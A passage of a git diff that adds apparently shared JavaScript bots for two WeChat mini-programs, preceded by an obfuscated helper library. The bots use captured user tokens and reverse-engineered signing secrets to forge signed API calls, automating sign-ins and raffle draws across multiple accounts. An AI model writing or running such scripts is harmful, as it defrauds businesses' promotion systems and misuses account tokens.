_0x222639=_0x3e6ede;_0x7a65a4['TfVnd'](!_0x112e04,_0xc550d1)&&(_0xc550d1[_0x222639('0x19b')]=_0x970cf,_0xc550d1['statusCode']=_0xc550d1[_0x222639('0x290')]),_0x7a65a4[_0x222639('0x11e')](_0x290118,_0x112e04,_0xc550d1,_0x970cf);});else{if(this['isQuanX']())_0x3ea3a1[_0x3e6ede('0x186')]=_0x3e6ede('0x2cf'),this[_0x3e6ede('0x1e6')]&&(_0x3ea3a1[_0x3e6ede('0x342')]=_0x3ea3a1[_0x3e6ede('0x342')]||{},Object['assign'](_0x3ea3a1['opts'],_0x115496)),$task[_0x3e6ede('0x314')](_0x3ea3a1)['then'](_0x440f42=>{var _0x1241f1=_0x3e6ede;const {statusCode:_0x325596,statusCode:_0x5d3fde,headers:_0x5ba024,body:_0xd20ade}=_0x440f42;var _0x4f8615={};_0x4f8615[_0x1241f1('0x290')]=_0x325596,_0x4f8615[_0x1241f1('0x2a7')]=_0x5d3fde,_0x4f8615['headers']=_0x5ba024,_0x4f8615[_0x1241f1('0x19b')]=_0xd20ade,_0x33ba07[_0x1241f1('0x27')](_0x290118,null,_0x4f8615,_0xd20ade);},_0x2f88fe=>_0x290118(_0x2f88fe));else{if(this[_0x3e6ede('0xca')]()){this[_0x3e6ede('0x5f')](_0x3ea3a1);const {url:_0x4aae27,..._0x5c2794}=_0x3ea3a1;this[_0x3e6ede('0x231')][_0x3e6ede('0x20e')](_0x4aae27,_0x5c2794)[_0x3e6ede('0xf8')](_0x2c033c=>{var _0x5f291d=_0x3e6ede,_0x1fd14d={};_0x1fd14d[_0x5f291d('0x2ed')]=function(_0x61bf3f){return _0x7a65a4['rcFTD'](_0x61bf3f);};var _0x36be03=_0x1fd14d;if(_0x7a65a4[_0x5f291d('0x1aa')]('NWGXO',_0x7a65a4[_0x5f291d('0x352')])){function _0x370f46(){_0x36be03['AbFyC'](_0x1cb295);}}else{const {statusCode:_0x1bb218,statusCode:_0xcdb2ae,headers:_0x11670e,body:_0x323c3e}=_0x2c033c;var _0x1659a0={};_0x1659a0[_0x5f291d('0x290')]=_0x1bb218,_0x1659a0[_0x5f291d('0x2a7')]=_0xcdb2ae,_0x1659a0[_0x5f291d('0xa2')]=_0x11670e,_0x1659a0[_0x5f291d('0x19b')]=_0x323c3e,_0x7a65a4[_0x5f291d('0x11e')](_0x290118,null,_0x1659a0,_0x323c3e);}},_0x2d11f3=>{var _0xb538df=_0x3e6ede;const {message:_0x31e352,response:_0x709c5e}=_0x2d11f3;_0x33ba07[_0xb538df('0x264')](_0x290118,_0x31e352,_0x709c5e,_0x709c5e&&_0x709c5e[_0xb538df('0x19b')]);});}}}}}[_0x417c97('0x28e')](_0x776f1b,_0x43885a=null){var _0xe30e9d=_0x417c97;const _0x5a246e=_0x43885a?new Date(_0x43885a):new Date();var _0x275ae6={};_0x275ae6['M+']=_0x5a246e[_0xe30e9d('0x293')]()+(0x93e+0x33f*-0x7+0xd7c),_0x275ae6['d+']=_0x5a246e[_0xe30e9d('0x2ba')](),_0x275ae6['H+']=_0x5a246e[_0xe30e9d('0x1a0')](),_0x275ae6['m+']=_0x5a246e[_0xe30e9d('0x27a')](),_0x275ae6['s+']=_0x5a246e[_0xe30e9d('0x312')](),_0x275ae6['q+']=Math[_0xe30e9d('0x158')](_0x7a65a4['BPTxo'](_0x7a65a4[_0xe30e9d('0x1b8')](_0x5a246e['getMonth'](),0xf33+-0xc95+-0x17*0x1d),-0x1bc1+-0x1*-0xa49+0x117b)),_0x275ae6['S']=_0x5a246e[_0xe30e9d('0x46')]();let _0x1757f2=_0x275ae6;/(y+)/[_0xe30e9d('0x2ac')](_0x776f1b)&&(_0x776f1b=_0x776f1b['replace'](RegExp['$1'],_0x7a65a4[_0xe30e9d('0x15e')](_0x5a246e[_0xe30e9d('0x31d')](),'')['substr'](_0x7a65a4[_0xe30e9d('0x103')](0xd+0x139*0x1d+-0x11bf*0x2,RegExp['$1'][_0xe30e9d('0x180')]))));for(let _0x245d6c in _0x1757f2)new RegExp('('+_0x245d6c+')')[_0xe30e9d('0x2ac')](_0x776f1b)&&(_0x776f1b=_0x776f1b[_0xe30e9d('0x359')](RegExp['$1'],_0x7a65a4[_0xe30e9d('0x1b0')](-0x5f0+-0x3e*-0x73+-0x15e9,RegExp['$1']['length'])?_0x1757f2[_0x245d6c]:_0x7a65a4[_0xe30e9d('0x15e')]('00',_0x1757f2[_0x245d6c])[_0xe30e9d('0x66')](_0x7a65a4[_0xe30e9d('0x15e')]('',_0x1757f2[_0x245d6c])[_0xe30e9d('0x180')])));return _0x776f1b;}['msg'](_0x59f2b2=_0x15253a,_0x393ba5='',_0x55e7e5='',_0x187490){var _0x50bec0=_0x417c97;const _0x4299a6=_0x44200a=>{var _0x506bdd=_0x22a4;if(!_0x44200a)return _0x44200a;if(_0x7a65a4[_0x506bdd('0x2be')](_0x7a65a4[_0x506bdd('0x148')],typeof _0x44200a))return this[_0x506bdd('0x11f')]()?_0x44200a:this[_0x506bdd('0xe3')]()?{'open-url':_0x44200a}:this[_0x506bdd('0x246')]()?{'url':_0x44200a}:void(0x365*0x3+0x33c+-0xe5*0xf);if(_0x7a65a4['qtvxk']('object',typeof _0x44200a)){if(this['isLoon']()){let _0x5523e5=_0x44200a['openUrl']||_0x44200a[_0x506bdd('0x17')]||_0x44200a[_0x7a65a4[_0x506bdd('0x121')]],_0x4f7a43=_0x44200a[_0x506bdd('0x1c1')]||_0x44200a[_0x7a65a4[_0x506bdd('0x137')]];var _0x36094b={};return _0x36094b[_0x506bdd('0xf4')]=_0x5523e5,_0x36094b['mediaUrl']=_0x4f7a43,_0x36094b;}if(this['isQuanX']()){let _0x4e1915=_0x44200a[_0x7a65a4[_0x506bdd('0x121')]]||_0x44200a[_0x506bdd('0x17')]||_0x44200a[_0x506bdd('0xf4')],_0x24b75e=_0x44200a[_0x7a65a4[_0x506bdd('0x137')]]||_0x44200a['mediaUrl'];var _0x756790={};return _0x756790[_0x506bdd('0x152')]=_0x4e1915,_0x756790['media-url']=_0x24b75e,_0x756790;}if(this[_0x506bdd('0x246')]()){if(_0x7a65a4[_0x506bdd('0x11c')](_0x7a65a4[_0x506bdd('0x10a')],_0x7a65a4[_0x506bdd('0x10a')])){let _0x32e9cc=_0x44200a['url']||_0x44200a[_0x506bdd('0xf4')]||_0x44200a[_0x7a65a4[_0x506bdd('0x121')]];var _0x309326={};return _0x309326['url']=_0x32e9cc,_0x309326;}else{function _0x19b893(){var _0x1cfa3c=_0x506bdd;return this['send']['call'](this[_0x1cfa3c('0x14f')],_0xa08f70);}}}}};if(this[_0x50bec0('0x334')]||(this['isSurge']()||this['isLoon']()?$notification[_0x50bec0('0x20e')](_0x59f2b2,_0x393ba5,_0x55e7e5,_0x7a65a4['WfFXT'](_0x4299a6,_0x187490)):this[_0x50bec0('0xe3')]()&&_0x7a65a4[_0x50bec0('0x12')]($notify,_0x59f2b2,_0x393ba5,_0x55e7e5,_0x7a65a4[_0x50bec0('0x2e3')](_0x4299a6,_0x187490))),!this[_0x50bec0('0x106')]){if(_0x7a65a4[_0x50bec0('0x1c2')](_0x7a65a4[_0x50bec0('0x13f')],_0x50bec0('0x325'))){function _0x5c4b43(){var _0xab6326=_0x50bec0;_0x1ddbb6[_0xab6326('0x22b')]('\x0a')['forEach'](_0x289e10=>{_0x22e812['push'](_0x289e10);});}}else{let _0x4d1145=['',_0x7a65a4[_0x50bec0('0x20')]];_0x4d1145[_0x50bec0('0x34f')](_0x59f2b2),_0x393ba5&&_0x4d1145['push'](_0x393ba5),_0x55e7e5&&_0x4d1145[_0x50bec0('0x34f')](_0x55e7e5),console[_0x50bec0('0x2ca')](_0x4d1145[_0x50bec0('0x16e')]('\x0a')),this['logs']=this[_0x50bec0('0x2c9')][_0x50bec0('0x1c')](_0x4d1145);}}}[_0x417c97('0x2ca')](..._0x740a46){var _0x351c5a=_0x417c97;_0x7a65a4[_0x351c5a('0x44')](_0x740a46[_0x351c5a('0x180')],0x2b*-0xbd+0x799*-0x4+-0x3e23*-0x1)&&(this['logs']=[...this[_0x351c5a('0x2c9')],..._0x740a46]),console[_0x351c5a('0x2ca')](_0x740a46[_0x351c5a('0x16e')](this[_0x351c5a('0x2f7')]));}[_0x417c97('0x298')](_0x4f9a66,_0x4497da){var _0xf2462d=_0x417c97;const _0x173eda=!this[_0xf2462d('0x246')]()&&!this[_0xf2462d('0xe3')]()&&!this[_0xf2462d('0x11f')]();_0x173eda?this['log']('','❗️'+this['name']+_0xf2462d('0x1bc'),_0x4f9a66[_0xf2462d('0x115')]):this[_0xf2462d('0x2ca')]('','❗️'+this[_0xf2462d('0x1eb')]+_0xf2462d('0x1bc'),_0x4f9a66);}[_0x417c97('0x2a1')](_0x2f39f7){return new Promise(_0x16a1fc=>setTimeout(_0x16a1fc,_0x2f39f7));}['done'](_0x3adbde={}){var _0x224b54=_0x417c97,_0x4a9278={};_0x4a9278['hlvvJ']=function(_0xecef23,_0x4772c0){return _0x7a65a4['jFUDV'](_0xecef23,_0x4772c0);},_0x4a9278[_0x224b54('0x6a')]=_0x7a65a4['WDZjY'];var _0x49b490=_0x4a9278;if(_0x7a65a4[_0x224b54('0x2ab')]===_0x7a65a4[_0x224b54('0x1db')]){function _0x2db2fb(){var _0x55d3d3=_0x224b54;return _0x55d3d3('0x37')!=typeof _0x5903be&&_0x49b490[_0x55d3d3('0x18f')](_0x49b490['XdHnM'],typeof _0x16975d);}}else{const _0x44e109=new Date()[_0x224b54('0x369')](),_0x498eca=_0x7a65a4['LEEmv'](_0x7a65a4[_0x224b54('0x169')](_0x44e109,this[_0x224b54('0x313')]),-0x3fb*0x1+0x577*-0x2+0x12d1*0x1);this[_0x224b54('0x2ca')]('','🔔'+this['name']+_0x224b54('0x2a9')+_0x498eca+'\x20秒'),this['log'](),(this[_0x224b54('0x246')]()||this['isQuanX']()||this[_0x224b54('0x11f')]())&&_0x7a65a4[_0x224b54('0x2e3')]($done,_0x3adbde);}}}(_0x15253a,_0x1084eb);} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/爱玛会员俱乐部/2025-06-28_爱玛会员俱乐部_b27f0206.js b/脚本库/微信小程序/抓包版/爱玛会员俱乐部/2025-06-28_爱玛会员俱乐部_b27f0206.js new file mode 100644 index 0000000..5f60773 --- /dev/null +++ b/脚本库/微信小程序/抓包版/爱玛会员俱乐部/2025-06-28_爱玛会员俱乐部_b27f0206.js @@ -0,0 +1,179 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E7%88%B1%E7%8E%9B%E4%BC%9A%E5%91%98%E4%BF%B1%E4%B9%90%E9%83%A8.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E7%88%B1%E7%8E%9B%E4%BC%9A%E5%91%98%E4%BF%B1%E4%B9%90%E9%83%A8.js +// # Repo: jdqlscript/toulu +// # Path: 爱玛会员俱乐部.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: b27f0206715bcfbda1934198123c52ee839a0a337f5cd406725b82356096a19a +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: smallfawn +@Date: 2024.06.08 10.25 +@Description: 爱玛会员俱乐部 小程序 + 有问题联系3288588344 + 频道:https://pd.qq.com/s/672fku8ge +------------------------------------------ +变量名 aima +变量值 https://scrm.aimatech.com/aima 请求头Headers中access-token的值 多账号&或换行或新建同名变量 +[Script] +http-response + +[MITM] +hostname = + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const $ = new Env("爱玛会员俱乐部"); +let ckName = `aima`; +let userCookie = checkEnv( + ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "" +); +const notify = $.isNode() ? require("./sendNotify") : ""; + +!(async () => { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 1; + let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index}】 start work\n`); + index++ + $.token = user + $.ckStatus = true; + await signInSearch() + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +function MD5(data) { + const crypto = require('crypto'); + return crypto.createHash('md5').update(data).digest('hex'); +} +async function signInSearch() { + let accessToken = $.token.substring(50, 80) + let nonce = $.uuid() + let time = (new Date).getTime() + let text = `App-IdscrmTime-Stamp${time}TraceLog-Id${nonce}Access-Token${accessToken}AimaScrm321_^` + let data = JSON.stringify({ + "activityId": "100000893" + }); + let config = { + method: 'POST', + url: 'https://scrm.aimatech.com/aima/wxclient/mkt/activities/sign:search', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220089 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'Content-Type': 'application/json', + 'time-stamp': time, + 'charset': 'utf-8', + 'app-id': 'scrm', + 'sign': MD5(text), + 'access-token': $.token, + 'tracelog-id': nonce, + 'Referer': 'https://servicewechat.com/wx2dcfb409fd5ddfb4/162/page-frame.html' + }, + data: data + }; + let { data: result } = await Request(config) + if (result.code == 200) { + if (result.content.signed !== 1) { + $.log(`未签到 ===> 签到ing`) + await signInJoin() + } else { + $.log(`已签到 ===> 什么都不做`) + } + } else { + $.log(`签到查询失败`) + } +} +async function signInJoin() { + let accessToken = $.token.substring(50, 80) + let nonce = $.uuid() + let time = (new Date).getTime() + let text = `App-IdscrmTime-Stamp${time}TraceLog-Id${nonce}Access-Token${accessToken}AimaScrm321_^` + let data = JSON.stringify({ + "activityId": "100000893", + "activitySceneId": null + }); + + let config = { + method: 'POST', + url: 'https://scrm.aimatech.com/aima/wxclient/mkt/activities/sign:join', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220089 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'Content-Type': 'application/json', + 'time-stamp': time, + 'charset': 'utf-8', + 'app-id': 'scrm', + 'sign': MD5(text), + 'access-token': $.token, + 'tracelog-id': nonce, + 'Referer': 'https://servicewechat.com/wx2dcfb409fd5ddfb4/162/page-frame.html' + }, + data: data + }; + let { data: result } = await Request(config) + if (result.code == 200) { + $.log(`签到成功`) + } else { + $.log(`签到失败 [${result.chnDesc}]`) + } +} + +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + //console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} diff --git a/脚本库/微信小程序/抓包版/牙博士口腔微商城/2025-06-28_牙博士口腔微商城_c59a947a.js b/脚本库/微信小程序/抓包版/牙博士口腔微商城/2025-06-28_牙博士口腔微商城_c59a947a.js new file mode 100644 index 0000000..71241f6 --- /dev/null +++ b/脚本库/微信小程序/抓包版/牙博士口腔微商城/2025-06-28_牙博士口腔微商城_c59a947a.js @@ -0,0 +1,803 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E7%89%99%E5%8D%9A%E5%A3%AB%E5%8F%A3%E8%85%94%E5%BE%AE%E5%95%86%E5%9F%8E.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E7%89%99%E5%8D%9A%E5%A3%AB%E5%8F%A3%E8%85%94%E5%BE%AE%E5%95%86%E5%9F%8E.js +// # Repo: jdqlscript/toulu +// # Path: 牙博士口腔微商城.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: c59a947af6f68dad497b9b5b0a2b26392852946fcf3883c48748c0087c0ab939 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +小程序:牙博士口腔微商城 +变量:ybshd多号&或换行 +抓包https://mall.0512kq.cn data内的token + + +有问题联系3288588344 +频道:https://pd.qq.com/s/672fku8ge + + +*/ + + +const $ = new Env("牙博士口腔微商城"), + axios = require("axios"); +let request = require("request"); +const crypto = require("crypto"); +request = request.defaults({ + "jar": true +}); +const { + log + } = console, + Notify = 1, + debug = 0; +let ybshd = ($.isNode() ? process.env.ybshd : $.getdata("ybshd")) || "", + ybshdArr = [], + data = "", + msg = "", + a = {}; +!(async () => { + if (typeof $request !== "undefined") await GetRewrite();else { + if (!(await Envs())) return;else { + log("\n\n============================================= \n脚本执行 - 北京时间(UTC+8):" + new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000).toLocaleString() + " \n=============================================\n"); + log("\n=================== 共找到 " + ybshdArr.length + " 个账号 ==================="); + debug && log("【debug】 这是你的全部账号数组:\n " + ybshdArr); + for (let _0xf864f1 = 0; _0xf864f1 < ybshdArr.length; _0xf864f1++) { + let _0x372177 = _0xf864f1 + 1; + addNotifyStr("\n==== 开始【第 " + _0x372177 + " 个账号】====\n", true); + ybshd = ybshdArr[_0xf864f1]; + await checkin(); + await checkin2(); + await checkin4(); + await checkin3(); + } + } + } +})().catch(_0x15f3ac => log(_0x15f3ac)).finally(() => $.done()); +async function checkin() { + const _0x5e6af0 = new Date().getTime(); + let _0x47b502 = Object.assign(filterEmpty(a), { + "task_id": 1, + "integralactivity_id": 6, + "code_type": 1, + "ad": 33, + "activity_code": 1, + "wxapp_id": 10004, + "token": ybshd, + "timestamp": _0x5e6af0, + "secret": "36c8edde3d61c0411511d3b1866f0680" + }), + _0x228093 = urlEncode(ksort(_0x47b502)) + "36c8edde3d61c0411511d3b1866f0680"; + return _0x47b502.sign = crypto.createHash("md5").update(encodeURIComponent(_0x228093)).digest("hex").toUpperCase(), new Promise(_0x5a9287 => { + var _0x575110 = { + "method": "post", + "url": "https://mall.0512kq.cn/index.php?s=/apimicrov4/activity.Integral/sign_in", + "headers": { + "Content-Type": "application/x-www-form-urlencoded", + "xweb_xhr": "1", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819)XWEB/9185" + }, + "data": _0x47b502 + }; + if (debug) { + log("\n【debug】=============== 这是 请求 url ==============="); + log(JSON.stringify(_0x575110)); + } + axios.request(_0x575110).then(async function (_0x3fb91f) { + try { + data = _0x3fb91f.data; + if (debug) { + log("\n\n【debug】===============这是 返回data=============="); + log(JSON.stringify(_0x3fb91f.data)); + } + log("签到:" + data.msg); + } catch (_0x5ef3c8) { + log("异常:" + data + ",原因:" + data.message); + } + }).catch(function (_0x4c1c14) { + console.error(_0x4c1c14); + }).then(_0x2631da => { + _0x5a9287(); + }); + }); +} +async function checkin1() { + const _0x15e35e = new Date().getTime(); + let _0x30ad1f = Object.assign(filterEmpty(a), { + "integralactivity_id": 6, + "id": 4, + "visit_type": 676, + "ad": 33, + "wxapp_id": 10004, + "token": ybshd, + "timestamp": _0x15e35e, + "secret": "36c8edde3d61c0411511d3b1866f0680" + }), + _0x18e6e4 = urlEncode(ksort(_0x30ad1f)) + "36c8edde3d61c0411511d3b1866f0680"; + return _0x30ad1f.sign = crypto.createHash("md5").update(encodeURIComponent(_0x18e6e4)).digest("hex").toUpperCase(), new Promise(_0x3ee8de => { + var _0xd25c24 = { + "method": "post", + "url": "https://mall.0512kq.cn/index.php?s=/apimicrov4/activity.raffle/index", + "headers": { + "Content-Type": "application/x-www-form-urlencoded", + "xweb_xhr": "1", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819)XWEB/9185" + }, + "data": _0x30ad1f + }; + debug && (log("\n【debug】=============== 这是 请求 url ==============="), log(JSON.stringify(_0xd25c24))); + axios.request(_0xd25c24).then(async function (_0x4d4aac) { + try { + data = _0x4d4aac.data; + debug && (log("\n\n【debug】===============这是 返回data=============="), log(JSON.stringify(_0x4d4aac.data))); + cjid = data.data.raffle_detail.integral_raffle_number; + log("剩余抽奖次数: " + data.data.raffle_detail.integral_raffle_number); + for (let _0x3c0c4d = 1; _0x3c0c4d <= cjid; _0x3c0c4d++) { + cjid > 0 && (await checkin2(), await $.wait(3000)); + } + } catch (_0x3c64a3) { + log("异常:" + data + ",原因:" + data.message); + } + }).catch(function (_0x40e185) { + console.error(_0x40e185); + }).then(_0x180f73 => { + _0x3ee8de(); + }); + }); +} +async function checkin2() { + const _0x3bb3f4 = new Date().getTime(); + let _0x1ee9fa = Object.assign(filterEmpty(a), { + "integralactivity_id": 6, + "id": 4, + "visit_type": 676, + "raffle_type": 1, + "code_type": 1, + "wxapp_id": 10004, + "token": ybshd, + "timestamp": _0x3bb3f4, + "secret": "36c8edde3d61c0411511d3b1866f0680" + }), + _0x1abd60 = urlEncode(ksort(_0x1ee9fa)) + "36c8edde3d61c0411511d3b1866f0680"; + return _0x1ee9fa.sign = crypto.createHash("md5").update(encodeURIComponent(_0x1abd60)).digest("hex").toUpperCase(), new Promise(_0x4f9a6c => { + var _0x57470f = { + "method": "post", + "url": "https://mall.0512kq.cn/index.php?s=/apimicrov4/activity.raffle/desire", + "headers": { + "Content-Type": "application/x-www-form-urlencoded", + "xweb_xhr": "1", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819)XWEB/9185" + }, + "data": _0x1ee9fa + }; + debug && (log("\n【debug】=============== 这是 请求 url ==============="), log(JSON.stringify(_0x57470f))); + axios.request(_0x57470f).then(async function (_0xe3dd5b) { + try { + data = _0xe3dd5b.data; + debug && (log("\n\n【debug】===============这是 返回data=============="), log(JSON.stringify(_0xe3dd5b.data))); + if (data.code == 1) { + log("抽奖获得: " + data.data.prize_name); + } else log("抽奖: " + data.msg); + await checkin6(); + } catch (_0x147090) { + log("异常:" + data + ",原因:" + data.message); + } + }).catch(function (_0x137b0a) { + console.error(_0x137b0a); + }).then(_0xa1be23 => { + _0x4f9a6c(); + }); + }); +} +async function checkin4() { + const _0x2e127c = new Date().getTime(); + let _0x4eecb0 = Object.assign(filterEmpty(a), { + "integralactivity_id": 6, + "id": 4, + "visit_type": 676, + "raffle_type": 2, + "code_type": 1, + "wxapp_id": 10004, + "token": ybshd, + "timestamp": _0x2e127c, + "secret": "36c8edde3d61c0411511d3b1866f0680" + }), + _0x139259 = urlEncode(ksort(_0x4eecb0)) + "36c8edde3d61c0411511d3b1866f0680"; + return _0x4eecb0.sign = crypto.createHash("md5").update(encodeURIComponent(_0x139259)).digest("hex").toUpperCase(), new Promise(_0x11b002 => { + var _0x44d764 = { + "method": "post", + "url": "https://mall.0512kq.cn/index.php?s=/apimicrov4/activity.raffle/desire", + "headers": { + "Content-Type": "application/x-www-form-urlencoded", + "xweb_xhr": "1", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819)XWEB/9185" + }, + "data": _0x4eecb0 + }; + debug && (log("\n【debug】=============== 这是 请求 url ==============="), log(JSON.stringify(_0x44d764))); + axios.request(_0x44d764).then(async function (_0x1886fc) { + try { + data = _0x1886fc.data; + debug && (log("\n\n【debug】===============这是 返回data=============="), log(JSON.stringify(_0x1886fc.data))); + data.code == 1 ? log("抽奖获得: " + data.data.prize_name) : log("抽奖: " + data.msg); + await checkin5(); + } catch (_0x21d0a9) { + log("异常:" + data + ",原因:" + data.message); + } + }).catch(function (_0x4abce3) { + console.error(_0x4abce3); + }).then(_0x428dc1 => { + _0x11b002(); + }); + }); +} +async function checkin5() { + const _0x28e915 = new Date().getTime(); + let _0x34dd56 = Object.assign(filterEmpty(a), { + "integralactivity_id": 6, + "id": 4, + "visit_type": 676, + "raffle_type": 3, + "code_type": 1, + "wxapp_id": 10004, + "token": ybshd, + "timestamp": _0x28e915, + "secret": "36c8edde3d61c0411511d3b1866f0680" + }), + _0x213d07 = urlEncode(ksort(_0x34dd56)) + 